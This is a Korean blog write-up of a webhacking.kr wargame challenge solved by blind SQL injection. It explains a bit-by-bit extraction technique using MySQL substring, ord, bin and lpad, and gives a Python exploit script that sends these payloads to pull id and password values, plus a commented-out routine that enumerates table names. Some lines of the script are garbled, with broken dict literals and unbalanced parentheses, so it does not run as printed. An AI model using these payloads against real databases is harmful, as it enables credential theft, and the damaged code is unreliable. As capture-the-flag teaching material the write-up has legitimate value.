2018. 1. 13. 14:50

## prob21(web, 250pt)


[Main]

 21번 문제는 Blind SQLi 문제였습니다. 우선 문제를 보면 아래와 같이 인풋 박스에 숫자를 입력하고 제출 버튼을 누르면 get 방식으로 no파라미터에 값을 넣고 쿼리를 실행하는 페이지를 볼 수 있습니다.


[그림 1] 문제 페이지


 위 [그림 1]에서는 입력 창에 1, 2, 3을 각각 입력하고 제출 버튼을 클릭한 결과입니다. 1과 2는 True라는 결과가 나오는데 3은 False라는 결과가 나옵니다. 우선 문제 제목부터 blind sql injection이라고 하니 "1 and 1=1#"과 "1 and 1=2#"이라는 쿼리를 날려보았습니다. 예상했던대로 앞의 쿼리는 "True"라는 결과를 뒤의 쿼리는 "False"라는 결과를 뱉어냈습니다.


 우선 저는 여기서 Get 방식의 바라미터 중에 no말고 id와 pw라는 파라미터가 왜 있는지 생각해보았고, 그 결과 DB에 컬럼 명을 힌트로 준 것이라고 생각했습니다. 그래서 id값과 pw을 알기 위해 MYSQL의 내장 함수인 substring(), ord(), bin(), lpad()함수와 if문을 사용하였는데 우선 쿼리를 짠 원리를 간단하게 설명드리겠습니다.


 만약 id컬럼에 "admin"이라는 값이 있다고 했을 때 substring(id, 1, 1)로 한글자 "a"를 떼어냅니다. 그리고 이 결과에 ord()함수를 사용하여 ord(substring(id, 1, 1))이라는 쿼리를 만들어 "a"를 숫자 97로 만들어 냅니다. 이 결과에는 bin()함수를 이용하여 bin(ord(substring(id, 1, 1)))이라는 쿼리를 만들어 97이라는 숫자를 "1100001"으로 변환시킵니다. 이 결과에 또 lpad()함수를 이용하여 lpad(bin(ord(substring(id, 1, 1))), 8, 0)이라는 쿼리를 만들어 "1100001"이라는 2진수를 8자리의 2진수로 만들기 위해 8자리 길이에 맞춰서 왼쪽부터 0으로 채워넣습니다. 그러면 "01100001"이라는 결과가 나오고 이제 이 2진수를 substring()함수를 이용하여 다시 1글자씩 떼어내는데 "substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)"이라는 쿼리를 만들어 "01100001"에서 한 글자 "0"을 떼어냅니다. 그리고 if문을 이용하여 "if(substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)=0, 1, 0)"이라는 쿼리를 최종적으로 만들어내서 "0"이면 1을 리턴하고 "1"이면 0을 리턴하는 식으로 True, False를 판단하게 됩니다.


 위 방식을 이용하면 최종적으로 "admin"이라는 글자를 알아내기 위하여 "a", "d", "m", "i", "n"이라는 글자 하나하나마다 2진수 8자리로 변환하여 1비트씩 비교하여 값을 얻어낼 수 있습니다. 이렇게 귀찮은 짓을 하는 이유는 이 방식을 사용하지 않으면 한 글자 한 글자마다 아스키 값으로 하나하나 비교하여야 하는데 이는 시간이 너무 오래 걸리고, 범위를 반토막 내서 찾는 2진 탐색기법을 하면 조금 더 빠르지만 문자열의 범위가 "0-9a-zA-Z"와 특수문자까지 포함하면 위 방식보다 시간이 더 오래 걸리기 때문에 저는 위 방식을 사용합니다.


 이렇게 코드를 짜고 나서 id와 pw를 찾으면 no=1일 때는 guest계정, no=2일 때는 admin계정이 나오는데 admin계정의 pw가 이 문제의 플래그였습니다.


[Exploit Code]  - blindsql_prob21.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
 
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
#params = {'no':'1', 'id':'', 'pw':''}
 
key_id = ""
key_pw = ""
 
def getLength(field):
    for i in xrange(50):
        payload = "1 and length(" + field + ")="+str(i)+"#"
        params = {'no':payload, 'id':'''pw':''}
        req = requests.get(url = url, params = params, headers = header)
        res = req.text
        if "True" in res:
            print "[+] " + field + " length : " + str(i)
            break
 
def getContent(field):
    #length = int(raw_input("Input " + field + " length : "))
    content = ""
    for i in xrange(50):
    #for i in xrange(length):
        binary = ""
        for j in xrange(8):
            payload = "2 and if(substring(lpad(bin(ord(substring("+field+","+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0,1,0)"
            params = {'no':payload, 'id':'''pw':''}
            req = requests.get(url = url, params = params, headers = header)
            res = req.text
            if "True" in res:
                binary += '0'
            else:
                binary += '1'
        content += chr(int(binary, 2))
        if int(binary, 2== 0:
            print "[*] Blind SQLi Search End."
            print "[*] " + field + " : " + content[:-1" => found!"
            break
        print "[+] Content Finding : " + content
 
'''
def getTableName():
    content = ""
    for i in xrange(50):
        for j in xrange(50):
            binary = ""
            for k in xrange(8): 
                payload = "2 and if((select substring(lpad(bin(ord(substring(table_name,"+str(j+1)+",1))),8,0),"+str(k+1)+",1) from information_schema.tables limit "+str(i+1)+",1)=0,1,0)"
                params = {'no':payload, 'id':'', 'pw':''}
                req = requests.get(url = url, params = params, headers = header)
                res = req.text
                if "True" in res:
                    binary += '0'
                else:
                    binary += '1'
            content += chr(int(binary, 2))
            if int(binary, 2) == 0:
                print "[*] Blind SQLi Search End."
                print "[*] " + field + " : " + content[:-1]
                print "[*] " + field + " found!"
            print "[+] Table Finding : " + content
'''
 
if __name__ == '__main__':        
    #getLength("id")     # id length finding
    #getLength("pw")     # pw length finding
    getContent("id")    # id content finding
    getContent("pw")    # pw content finding
    #getTableName()
 
# ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/
# ref2) https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
# ref3) http://choiys.tistory.com/entry/Wargamekr-Web700ip-log-table?category=684299
 
cs



'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
[webhacking.kr] prob10(250pt)  (0) 2018.01.12
Posted by holinder4S